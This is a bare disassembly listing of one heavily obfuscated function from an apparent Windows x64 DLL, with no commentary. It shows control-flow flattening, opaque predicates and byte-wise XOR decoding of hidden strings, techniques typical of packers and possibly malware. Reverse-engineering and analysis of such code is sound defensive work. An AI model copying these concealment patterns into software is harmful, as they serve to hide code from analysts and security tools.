mov rcx, rsi
mov dl, 0x6e
call fcn.180097f40
add rsp, 0x20
mov byte [rbx + 2], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x74
call fcn.180097f40
add rsp, 0x20
mov byte [rbx + 3], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x65
call fcn.180097f40
add rsp, 0x20
mov byte [rbx + 4], al
add rbx, 5
mov qword [rbp + 0x248], rbx
mov byte [rbp + 0x268], WSAStartup
mov eax, 0xbb3106ac
jmp 0x1800618b0
cmp eax, 0x2b935194
je 0x180065220
cmp eax, 0x7d3dea69
jne 0x1800618b0
mov byte [rdi], 0
add rdi, 1
cmp rdi, qword [rbp + 0x278]
mov eax, 0x7d3dea69
mov ecx, 0x2b935194
cmove eax, ecx
jmp 0x1800618b0
movzx edx, byte [rbp + 0x268]
sub rsp, 0x20
mov rcx, rsi
call fcn.180097f40
add rsp, 0x20
mov rcx, qword [rbp + 0x248]
mov byte [rcx], al
mov rdi, qword [rbp + 0x248]
add rdi, 1
mov rax, qword [rbp + 0x270]
add rax, 0x10
mov qword [rbp + 0x278], rax
mov eax, 0x7d3dea69
jmp 0x1800618b0
mov rax, qword [rbp + 0x210]
mov rax, qword [rax + 0x10]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov ecx, 0xd3eb1d79
mov rax, qword [rbp + 0x108]
mov edi, 0x4479bede
nop dword [rax]
cmp ecx, 0x8ec226eb
je 0x180065775
cmp ecx, 0xd3eb1d79
jne 0x180061a20
mov edx, 0xfe86ae7d
jmp 0x180061a60
mov dword [rbp + 0x278], 9
mov ecx, dword [rbp + 0x278]
movzx ecx, cx
mov edx, 0xb912534d
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xb912534d
je 0x180061a99
cmp edx, 0xfe86ae7d
jne 0x180061a60
mov ecx, 0x9f805fd5
nop word cs:[rax + rax]
nop
cmp ecx, 0x9f805fd5
je 0x180061a92
cmp ecx, 0x448ad919
jne 0x180061a80
jmp 0x180061a3b
mov ecx, 0x448ad919
jmp 0x180061a80
mov dword [rbp + 0x248], WSAStartup
mov dword [rbp + 0x278], ecx
mov ecx, dword [rbp + 0x248]
add ecx, dword [rbp + 0x278]
mov word [rax], cx
mov edx, 0xfe86ae7d
jmp 0x180061ae0
mov dword [rbp + 0x278], 9
mov ecx, dword [rbp + 0x278]
movzx ecx, cx
mov edx, 0xb912534d
nop word [rax + rax]
cmp edx, 0xb912534d
je 0x180061b19
cmp edx, 0xfe86ae7d
jne 0x180061ae0
mov ecx, 0x9f805fd5
nop word cs:[rax + rax]
nop
cmp ecx, 0x9f805fd5
je 0x180061b12
cmp ecx, 0x448ad919
jne 0x180061b00
jmp 0x180061abf
mov ecx, 0x448ad919
jmp 0x180061b00
mov dword [rbp + 0x248], WSAStartup
mov dword [rbp + 0x278], ecx
mov ecx, dword [rbp + 0x248]
add ecx, dword [rbp + 0x278]
mov word [rax + 2], cx
mov word [rax + 4], 0
mov ecx, 0x8ec226eb
jmp 0x180061a20
mov r8, qword [rbp - 0x28]
mov rcx, qword [rbp - 0x20]
sub rsp, 0x20
mov edx, 2
mov r9d, 0xa
call fcn.1800ca6e0
movabs r11, 0x100000001b3
add rsp, 0x20
mov dword [rbp + 0xa4], eax
mov rax, qword [rbp + 0x78]
mov eax, 0xa9632298
jmp 0x18005ef80
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov qword [rbp - 0x40], rax
mov eax, 0xf078a236
jmp 0x18005ef80
mov eax, 0xb3342308
jmp 0x18005ef80
mov rax, qword [rbp + 8]
cmp byte [rbp + 0x225], 0
mov eax, 0xc9a1b578
mov ecx, 0x90c5d406
cmovne eax, ecx
jmp 0x18005ef80
mov rcx, qword [rbp + 0x1f8]
sub rsp, 0x20
call fcn.1800fa898
movabs r11, 0x100000001b3
add rsp, 0x20
mov eax, 0x325564e9
jmp 0x18005ef80
mov eax, 0x336338d4
jmp 0x18005ef80
mov eax, dword [0x1801297e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc99ce315
mov ecx, 0x9facf468
jmp 0x18005ef6a
mov rcx, qword [rbp + 0x20]
sub rsp, 0x20
call fcn.1800fa8cc
movabs r11, 0x100000001b3
add rsp, 0x20
mov qword [rbp + 0x1f8], rax
mov eax, 0xb61674e
jmp 0x18005ef80
mov rcx, qword [rbp - 0x60]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rcx]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x158]
mov r9, qword [rbp + 0x158]
mov eax, dword [0x180129bd8]
mov ecx, dword [0x180129bdc]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x22c]
cmp ecx, 0xa
setl byte [rbp + 0x244]
mov ebx, 0xdab1ad89
mov r10d, 0x6dc6dbac
mov r11d, 0x5394ec02
jmp 0x180061cc0
mov al, byte [rbp + 0x268]
mov ebx, 0x6dc6dbac
nop dword [rax]
cmp ebx, 0x2c6c1938
jg 0x180061db0
cmp ebx, 0xcfdc1d41
jle 0x180061ea0
cmp ebx, 0xcfdc1d42
je 0x180061f92
cmp ebx, 0xdab1ad89
je 0x180061fba
cmp ebx, 0x19efe6cf
jne 0x180061cc0
mov dl, byte [rbp + 0x234]
mov qword [rbp + 0x278], r9
mov eax, dword [0x180129be0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129be4], 0xa
setl cl
or cl, al
mov ebx, 0xb1726044
cmovne ebx, r15d
mov edi, 0xb1726044
cmovne edi, r14d
mov eax, 0x4875c6e6
nop word [rax + rax]
cmp eax, 0xb1726043
jle 0x180061d70
cmp eax, 0xb1726044
je 0x180061d85
cmp eax, 0x4875c6e6
je 0x180061d93
cmp eax, 0x722eaaab
jne 0x180061d40
jmp 0x180061fdb
cmp eax, 0x951868fc
je 0x180061d97
cmp eax, 0xab050da9
jne 0x180061d40
mov eax, 0x722eaaab
jmp 0x180061d40
mov rax, qword [rbp + 0x278]
mov eax, 0x951868fc
jmp 0x180061d40
mov eax, edi
jmp 0x180061d40
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov eax, ebx
jmp 0x180061d40
cmp ebx, 0x5394ec01
jle 0x180061f70
cmp ebx, 0x5394ec02
je 0x18006209b
cmp ebx, 0x54cd0f1c
je 0x18006215d
cmp ebx, 0x6dc6dbac
jne 0x180061cc0
mov dl, byte [rbp + 0x234]
mov qword [rbp + 0x278], r9
mov eax, dword [0x180129be0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129be4], 0xa
setl cl
or cl, al
mov ebx, 0xb1726044
cmovne ebx, r15d
mov edi, 0xb1726044
cmovne edi, r14d
mov eax, 0x4875c6e6
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xb1726043
jle 0x180061e60
cmp eax, 0xb1726044
je 0x180061e75
cmp eax, 0x4875c6e6
je 0x180061e83
cmp eax, 0x722eaaab
jne 0x180061e30
jmp 0x180062167
cmp eax, 0x951868fc
je 0x180061e87
cmp eax, 0xab050da9
jne 0x180061e30
mov eax, 0x722eaaab
jmp 0x180061e30
mov rax, qword [rbp + 0x278]
mov eax, 0x951868fc
jmp 0x180061e30
mov eax, edi
jmp 0x180061e30
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov eax, ebx
jmp 0x180061e30
cmp ebx, 0x878a8f8a
je 0x18006222b
cmp ebx, 0xcb4fa4c2
jne 0x180062e65
mov byte [r9], 0x44
mov qword [rbp + 0x278], r9
mov eax, dword [0x180129be0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129be4], 0xa
setl cl
or cl, al
mov edx, 0xb1726044
cmovne edx, r15d
mov ebx, 0xb1726044
cmovne ebx, r14d
mov eax, 0x4875c6e6
nop dword [rax + rax]
cmp eax, 0xb1726043
jle 0x180061f30
cmp eax, 0xb1726044
je 0x180061f45
cmp eax, 0x4875c6e6
je 0x180061f53
cmp eax, 0x722eaaab
jne 0x180061f00
jmp 0x180062261
cmp eax, 0x951868fc
je 0x180061f57
cmp eax, 0xab050da9
jne 0x180061f00
mov eax, 0x722eaaab
jmp 0x180061f00
mov rax, qword [rbp + 0x278]
mov eax, 0x951868fc
jmp 0x180061f00
mov eax, ebx
jmp 0x180061f00
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov eax, edx
jmp 0x180061f00
cmp ebx, 0x2c6c1939
je 0x18006231b
cmp ebx, 0x44f3c329
jne 0x180061cc0
mov ebx, 0xcfdc1d42
jmp 0x180061cc0
mov eax, dword [0x180129bd8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ebx, 0x19efe6cf
cmove ebx, r10d
cmp dword [0x180129bdc], 0xa
cmovl ebx, r10d
jmp 0x180061cc0
mov al, byte [rbp + 0x22c]
cmp byte [rbp + 0x244], 0
mov ebx, 0xcb4fa4c2
cmovne ebx, r11d
test al, al
cmovne ebx, r11d
jmp 0x180061cc0
xor dl, byte [rbp + 0x268]
mov rax, qword [rbp + 0x250]
mov byte [rax], dl
mov rdx, qword [rbp + 0x250]
mov qword [rbp + 0x278], r9
mov eax, dword [0x180129be0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129be4], 0xa
setl cl
or cl, al
mov ebx, 0xb1726044
cmovne ebx, r15d
mov edi, 0xb1726044
cmovne edi, r14d
mov eax, 0x4875c6e6
nop dword [rax]
cmp eax, 0xb1726043
jle 0x180062060
cmp eax, 0xb1726044
je 0x180062075
cmp eax, 0x4875c6e6
je 0x180062083
cmp eax, 0x722eaaab
jne 0x180062030
jmp 0x18006233c
cmp eax, 0x951868fc
je 0x180062087
cmp eax, 0xab050da9
jne 0x180062030
mov eax, 0x722eaaab
jmp 0x180062030
mov rax, qword [rbp + 0x278]
mov eax, 0x951868fc
jmp 0x180062030
mov eax, edi
jmp 0x180062030
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov eax, ebx
jmp 0x180062030
mov qword [rbp + 0x270], r9
mov rax, qword [rbp + 0x270]
mov byte [rax], 0x44
mov rdx, qword [rbp + 0x270]
mov qword [rbp + 0x278], r9
mov eax, dword [0x180129be0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129be4], 0xa
setl cl
or cl, al
mov esi, 0xb1726044
cmovne esi, r15d
mov edi, 0xb1726044
cmovne edi, r14d
mov ebx, 0x4875c6e6
nop
cmp ebx, 0xb1726043
jle 0x180062120
cmp ebx, 0xb1726044
je 0x180062137
cmp ebx, 0x4875c6e6
je 0x180062145
cmp ebx, 0x722eaaab
jne 0x1800620f0
jmp 0x1800623fb
cmp ebx, 0x951868fc
je 0x180062149
cmp ebx, 0xab050da9
jne 0x1800620f0
mov ebx, 0x722eaaab
jmp 0x1800620f0
mov rax, qword [rbp + 0x278]
mov ebx, 0x951868fc
jmp 0x1800620f0
mov ebx, edi
jmp 0x1800620f0
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov ebx, esi
jmp 0x1800620f0
mov ebx, 0x878a8f8a
jmp 0x180061cc0
xor dl, byte [rbp + 0x268]
mov rax, qword [rbp + 0x250]
mov byte [rax], dl
mov rdx, qword [rbp + 0x250]
mov qword [rbp + 0x278], r9
mov eax, dword [0x180129be0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129be4], 0xa
setl cl
or cl, al
mov ebx, 0xb1726044
cmovne ebx, r15d
mov edi, 0xb1726044
cmovne edi, r14d
mov eax, 0x4875c6e6
nop dword [rax]
cmp eax, 0xb1726043
jle 0x1800621f0
cmp eax, 0xb1726044
je 0x180062205
cmp eax, 0x4875c6e6
je 0x180062213
cmp eax, 0x722eaaab
jne 0x1800621c0
jmp 0x1800624bd
cmp eax, 0x951868fc
je 0x180062217
cmp eax, 0xab050da9
jne 0x1800621c0
mov eax, 0x722eaaab
jmp 0x1800621c0
mov rax, qword [rbp + 0x278]
mov eax, 0x951868fc
jmp 0x1800621c0
mov eax, edi
jmp 0x1800621c0
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov eax, ebx
jmp 0x1800621c0
mov rax, qword [rbp + 0x260]
mov cl, byte [rbp + 0x238]
mov byte [rax], cl
mov r8, qword [rbp + 0x260]
add r8, 1
mov rax, qword [rbp + 0x270]
add rax, 0xd
mov qword [rbp + 0x248], rax
mov ebx, 0x2c6c1939
jmp 0x180061cc0
mov al, byte [rbp + 0x268]
xor al, 0x43
mov byte [r9 + 1], al
mov qword [rbp + 0x278], r9
mov eax, dword [0x180129be0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129be4], 0xa
setl cl
or cl, al
mov edx, 0xb1726044
cmovne edx, r15d
mov ebx, 0xb1726044
cmovne ebx, r14d
mov eax, 0x4875c6e6
nop dword [rax]
cmp eax, 0xb1726043
jle 0x1800622e0
cmp eax, 0xb1726044
je 0x1800622f5
cmp eax, 0x4875c6e6
je 0x180062303
cmp eax, 0x722eaaab
jne 0x1800622b0
jmp 0x18006257b
cmp eax, 0x951868fc
je 0x180062307
cmp eax, 0xab050da9
jne 0x1800622b0
mov eax, 0x722eaaab
jmp 0x1800622b0
mov rax, qword [rbp + 0x278]
mov eax, 0x951868fc
jmp 0x1800622b0
mov eax, ebx
jmp 0x1800622b0
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov eax, edx
jmp 0x1800622b0
mov byte [r8], 0
add r8, 1
cmp r8, qword [rbp + 0x248]
mov ebx, 0x2c6c1939
mov eax, 0x88db8f01
cmove ebx, eax
jmp 0x180061cc0
mov al, byte [rbp + 0x268]
xor al, 0x6e
mov byte [rdx + 1], al
mov qword [rbp + 0x278], r9
mov eax, dword [0x180129be0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129be4], 0xa
setl cl
or cl, al
mov ebx, 0xb1726044
cmovne ebx, r15d
mov edi, 0xb1726044
cmovne edi, r14d
mov eax, 0x4875c6e6
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xb1726043
jle 0x1800623c0
cmp eax, 0xb1726044
je 0x1800623d5
cmp eax, 0x4875c6e6
je 0x1800623e3
cmp eax, 0x722eaaab
jne 0x180062390
jmp 0x18006263b
cmp eax, 0x951868fc
je 0x1800623e7
cmp eax, 0xab050da9
jne 0x180062390
mov eax, 0x722eaaab
jmp 0x180062390
mov rax, qword [rbp + 0x278]
mov eax, 0x951868fc
jmp 0x180062390
mov eax, edi
jmp 0x180062390
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov eax, ebx
jmp 0x180062390
mov al, byte [rbp + 0x268]
xor al, 0x43
mov byte [rdx + 1], al
mov qword [rbp + 0x278], r9
mov eax, dword [0x180129be0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129be4], 0xa
setl cl
or cl, al
mov esi, 0xb1726044
cmovne esi, r15d
mov edi, 0xb1726044
cmovne edi, r14d
mov ebx, 0x4875c6e6
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xb1726043
jle 0x180062480
cmp ebx, 0xb1726044
je 0x180062497
cmp ebx, 0x4875c6e6
je 0x1800624a5
cmp ebx, 0x722eaaab
jne 0x180062450
jmp 0x1800626fb
cmp ebx, 0x951868fc
je 0x1800624a9
cmp ebx, 0xab050da9
jne 0x180062450
mov ebx, 0x722eaaab
jmp 0x180062450
mov rax, qword [rbp + 0x278]
mov ebx, 0x951868fc
jmp 0x180062450
mov ebx, edi
jmp 0x180062450
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov ebx, esi
jmp 0x180062450
mov al, byte [rbp + 0x268]
xor al, 0x6e
mov byte [rdx + 1], al
mov qword [rbp + 0x278], r9
mov eax, dword [0x180129be0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129be4], 0xa
setl cl
or cl, al
mov ebx, 0xb1726044
cmovne ebx, r15d
mov edi, 0xb1726044
cmovne edi, r14d
mov eax, 0x4875c6e6
nop word cs:[rax + rax]
nop
cmp eax, 0xb1726043
jle 0x180062540
cmp eax, 0xb1726044
je 0x180062555
cmp eax, 0x4875c6e6
je 0x180062563
cmp eax, 0x722eaaab
jne 0x180062510
jmp 0x1800627bd
cmp eax, 0x951868fc
je 0x180062567
cmp eax, 0xab050da9
jne 0x180062510
mov eax, 0x722eaaab
jmp 0x180062510
mov rax, qword [rbp + 0x278]
mov eax, 0x951868fc
jmp 0x180062510
mov eax, edi
jmp 0x180062510
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov eax, ebx
jmp 0x180062510
mov al, byte [rbp + 0x268]
xor al, 0x6c
mov byte [r9 + 2], al
mov qword [rbp + 0x278], r9
mov eax, dword [0x180129be0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129be4], 0xa
setl cl
or cl, al
mov edx, 0xb1726044
cmovne edx, r15d
mov ebx, 0xb1726044
cmovne ebx, r14d
mov eax, 0x4875c6e6
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xb1726043
jle 0x180062600
cmp eax, 0xb1726044
je 0x180062615
cmp eax, 0x4875c6e6
je 0x180062623
cmp eax, 0x722eaaab
jne 0x1800625d0
jmp 0x18006287b
cmp eax, 0x951868fc
je 0x180062627
cmp eax, 0xab050da9
jne 0x1800625d0
mov eax, 0x722eaaab
jmp 0x1800625d0
mov rax, qword [rbp + 0x278]
mov eax, 0x951868fc
jmp 0x1800625d0
mov eax, ebx
jmp 0x1800625d0
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov eax, edx
jmp 0x1800625d0
mov al, byte [rbp + 0x268]
xor al, 0x64
mov byte [rdx + 2], al
mov qword [rbp + 0x278], r9
mov eax, dword [0x180129be0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129be4], 0xa
setl cl
or cl, al
mov ebx, 0xb1726044
cmovne ebx, r15d
mov edi, 0xb1726044
cmovne edi, r14d
mov eax, 0x4875c6e6
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xb1726043
jle 0x1800626c0
cmp eax, 0xb1726044
je 0x1800626d5
cmp eax, 0x4875c6e6
je 0x1800626e3
cmp eax, 0x722eaaab
jne 0x180062690
jmp 0x18006293b
cmp eax, 0x951868fc
je 0x1800626e7
cmp eax, 0xab050da9
jne 0x180062690
mov eax, 0x722eaaab
jmp 0x180062690
mov rax, qword [rbp + 0x278]
mov eax, 0x951868fc
jmp 0x180062690
mov eax, edi
jmp 0x180062690
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov eax, ebx
jmp 0x180062690
mov al, byte [rbp + 0x268]
xor al, 0x6c
mov byte [rdx + 2], al
mov qword [rbp + 0x278], r9
mov eax, dword [0x180129be0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129be4], 0xa
setl cl
or cl, al
mov esi, 0xb1726044
cmovne esi, r15d
mov edi, 0xb1726044
cmovne edi, r14d
mov ebx, 0x4875c6e6
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xb1726043
jle 0x180062780
cmp ebx, 0xb1726044
je 0x180062797
cmp ebx, 0x4875c6e6
je 0x1800627a5
cmp ebx, 0x722eaaab
jne 0x180062750
jmp 0x1800629fb
cmp ebx, 0x951868fc
je 0x1800627a9
cmp ebx, 0xab050da9
jne 0x180062750
mov ebx, 0x722eaaab
jmp 0x180062750
mov rax, qword [rbp + 0x278]
mov ebx, 0x951868fc
jmp 0x180062750
mov ebx, edi
jmp 0x180062750
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov ebx, esi
jmp 0x180062750
mov al, byte [rbp + 0x268]
xor al, 0x64
mov byte [rdx + 2], al
mov qword [rbp + 0x278], r9
mov eax, dword [0x180129be0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129be4], 0xa
setl cl
or cl, al
mov ebx, 0xb1726044
cmovne ebx, r15d
mov edi, 0xb1726044
cmovne edi, r14d
mov eax, 0x4875c6e6
nop word cs:[rax + rax]
nop
cmp eax, 0xb1726043
jle 0x180062840
cmp eax, 0xb1726044
je 0x180062855
cmp eax, 0x4875c6e6
je 0x180062863
cmp eax, 0x722eaaab
jne 0x180062810
jmp 0x180062abd
cmp eax, 0x951868fc
je 0x180062867
cmp eax, 0xab050da9
jne 0x180062810
mov eax, 0x722eaaab
jmp 0x180062810
mov rax, qword [rbp + 0x278]
mov eax, 0x951868fc
jmp 0x180062810
mov eax, edi
jmp 0x180062810
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov eax, ebx
jmp 0x180062810
mov al, byte [rbp + 0x268]
xor al, 0x6f
mov byte [r9 + 3], al
mov qword [rbp + 0x278], r9
mov eax, dword [0x180129be0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129be4], 0xa
setl cl
or cl, al
mov edx, 0xb1726044
cmovne edx, r15d
mov ebx, 0xb1726044
cmovne ebx, r14d
mov eax, 0x4875c6e6
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xb1726043
jle 0x180062900
cmp eax, 0xb1726044
je 0x180062915
cmp eax, 0x4875c6e6
je 0x180062923
cmp eax, 0x722eaaab
jne 0x1800628d0
jmp 0x180062b7b
cmp eax, 0x951868fc
je 0x180062927
cmp eax, 0xab050da9
jne 0x1800628d0
mov eax, 0x722eaaab
jmp 0x1800628d0
mov rax, qword [rbp + 0x278]
mov eax, 0x951868fc
jmp 0x1800628d0
mov eax, ebx
jmp 0x1800628d0
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov eax, edx
jmp 0x1800628d0
mov al, byte [rbp + 0x268]
xor al, 0x6c
mov byte [rdx + 3], al
mov qword [rbp + 0x278], r9
mov eax, dword [0x180129be0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129be4], 0xa
setl cl
or cl, al
mov edx, 0xb1726044
cmovne edx, r15d
mov ebx, 0xb1726044
cmovne ebx, r14d
mov eax, 0x4875c6e6
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xb1726043
jle 0x1800629c0
cmp eax, 0xb1726044
je 0x1800629d5
cmp eax, 0x4875c6e6
je 0x1800629e3
cmp eax, 0x722eaaab
jne 0x180062990
jmp 0x180061cb2
cmp eax, 0x951868fc
je 0x1800629e7
cmp eax, 0xab050da9
jne 0x180062990
mov eax, 0x722eaaab
jmp 0x180062990
mov rax, qword [rbp + 0x278]
mov eax, 0x951868fc
jmp 0x180062990
mov eax, ebx
jmp 0x180062990
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov eax, edx
jmp 0x180062990
mov al, byte [rbp + 0x268]
xor al, 0x6f
mov byte [rdx + 3], al
mov qword [rbp + 0x278], r9
mov eax, dword [0x180129be0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129be4], 0xa
setl cl
or cl, al
mov eax, 0xb1726044
cmovne eax, r15d
mov edi, 0xb1726044
cmovne edi, r14d
mov ebx, 0x4875c6e6
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xb1726043
jle 0x180062a80
cmp ebx, 0xb1726044
je 0x180062a97
cmp ebx, 0x4875c6e6
je 0x180062aa5
cmp ebx, 0x722eaaab
jne 0x180062a50
jmp 0x180062c0b
cmp ebx, 0x951868fc
je 0x180062aa9
cmp ebx, 0xab050da9
jne 0x180062a50
mov ebx, 0x722eaaab
jmp 0x180062a50
mov rcx, qword [rbp + 0x278]
mov ebx, 0x951868fc
jmp 0x180062a50
mov ebx, edi
jmp 0x180062a50
mov rcx, qword [rbp + 0x278]
movzx ecx, byte [rcx]
mov byte [rbp + 0x268], cl
mov ebx, eax
jmp 0x180062a50
mov al, byte [rbp + 0x268]
xor al, 0x6c
mov byte [rdx + 3], al
add rdx, 4
mov qword [rbp + 0x260], rdx
mov qword [rbp + 0x278], r9
mov eax, dword [0x180129be0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129be4], 0xa
setl cl
or cl, al
mov edx, 0xb1726044
cmovne edx, r15d
mov ebx, 0xb1726044
cmovne ebx, r14d
mov eax, 0x4875c6e6
nop
cmp eax, 0xb1726043
jle 0x180062b40
cmp eax, 0xb1726044
je 0x180062b55
cmp eax, 0x4875c6e6
je 0x180062b63
cmp eax, 0x722eaaab
jne 0x180062b10
jmp 0x180062c9d
cmp eax, 0x951868fc
je 0x180062b67
cmp eax, 0xab050da9
jne 0x180062b10
mov eax, 0x722eaaab
jmp 0x180062b10
mov rax, qword [rbp + 0x278]
mov eax, 0x951868fc
jmp 0x180062b10
mov eax, ebx
jmp 0x180062b10
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov eax, edx
jmp 0x180062b10
mov al, byte [rbp + 0x268]
xor al, 0x73
mov byte [r9 + 4], al
mov qword [rbp + 0x278], r9
mov eax, 0x4875c6e6
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xb1726043
jle 0x180062bd0
cmp eax, 0xb1726044
je 0x180062be5
cmp eax, 0x4875c6e6
je 0x180062bf3
cmp eax, 0x722eaaab
jne 0x180062ba0
jmp 0x180062cd6
cmp eax, 0x951868fc
je 0x180062bf7
cmp eax, 0xab050da9
jne 0x180062ba0
mov eax, 0x722eaaab
jmp 0x180062ba0
mov rax, qword [rbp + 0x278]
mov eax, 0x951868fc
jmp 0x180062ba0
mov eax, ebx
jmp 0x180062ba0
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov eax, edx
jmp 0x180062ba0
mov cl, byte [rbp + 0x268]
xor cl, 0x73
mov byte [rdx + 4], cl
mov qword [rbp + 0x278], r9
mov esi, 0x4875c6e6
nop word cs:[rax + rax]
nop dword [rax]
cmp esi, 0xb1726043
jle 0x180062c60
cmp esi, 0xb1726044
je 0x180062c77
cmp esi, 0x4875c6e6
je 0x180062c85
cmp esi, 0x722eaaab
jne 0x180062c30
jmp 0x180062d5b
cmp esi, 0x951868fc
je 0x180062c89
cmp esi, 0xab050da9
jne 0x180062c30
mov esi, 0x722eaaab
jmp 0x180062c30
mov rcx, qword [rbp + 0x278]
mov esi, 0x951868fc
jmp 0x180062c30
mov esi, edi
jmp 0x180062c30
mov rcx, qword [rbp + 0x278]
movzx ecx, byte [rcx]
mov byte [rbp + 0x268], cl
mov esi, eax
jmp 0x180062c30
mov al, byte [rbp + 0x268]
xor al, 0x65
mov byte [rbp + 0x238], al
mov eax, dword [0x180129bd8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ebx, 0x19efe6cf
mov eax, 0x54cd0f1c
cmove ebx, eax
cmp dword [0x180129bdc], 0xa
cmovl ebx, eax
jmp 0x180061cc0
mov al, byte [rbp + 0x268]
xor al, 0x65
mov byte [r9 + 5], al
mov qword [rbp + 0x278], r9
mov eax, 0x4875c6e6
nop
cmp eax, 0xb1726043
jle 0x180062d20
cmp eax, 0xb1726044
je 0x180062d35
cmp eax, 0x4875c6e6
je 0x180062d43
cmp eax, 0x722eaaab
jne 0x180062cf0
jmp 0x180062ded
cmp eax, 0x951868fc
je 0x180062d47
cmp eax, 0xab050da9
jne 0x180062cf0
mov eax, 0x722eaaab
jmp 0x180062cf0
mov rax, qword [rbp + 0x278]
mov eax, 0x951868fc
jmp 0x180062cf0
mov eax, ebx
jmp 0x180062cf0
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
mov byte [rbp + 0x268], al
mov eax, edx
jmp 0x180062cf0
mov cl, byte [rbp + 0x268]
xor cl, 0x65
mov byte [rdx + 5], cl
mov qword [rbp + 0x278], r9
mov ecx, 0x4875c6e6
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xb1726043
jle 0x180062db0
cmp ecx, 0xb1726044
je 0x180062dc7
cmp ecx, 0x4875c6e6
je 0x180062dd5
cmp ecx, 0x722eaaab
jne 0x180062d80
jmp 0x180062e03
cmp ecx, 0x951868fc
je 0x180062dd9
cmp ecx, 0xab050da9
jne 0x180062d80
mov ecx, 0x722eaaab
jmp 0x180062d80
mov rcx, qword [rbp + 0x278]
mov ecx, 0x951868fc
jmp 0x180062d80
mov ecx, edi
jmp 0x180062d80
mov rcx, qword [rbp + 0x278]
movzx ecx, byte [rcx]
mov byte [rbp + 0x268], cl
mov ecx, eax
jmp 0x180062d80
mov al, byte [rbp + 0x268]
xor al, 0x48
mov byte [r9 + 6], al
mov ebx, 0x5394ec02
jmp 0x180061cc0
mov al, byte [rbp + 0x268]
xor al, 0x48
mov byte [rdx + 6], al
mov eax, dword [0x180129bd8]
mov ecx, dword [0x180129bdc]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
sete al
cmp ecx, 0xa
setge bl
xor bl, al
mov ebx, 0x44f3c329
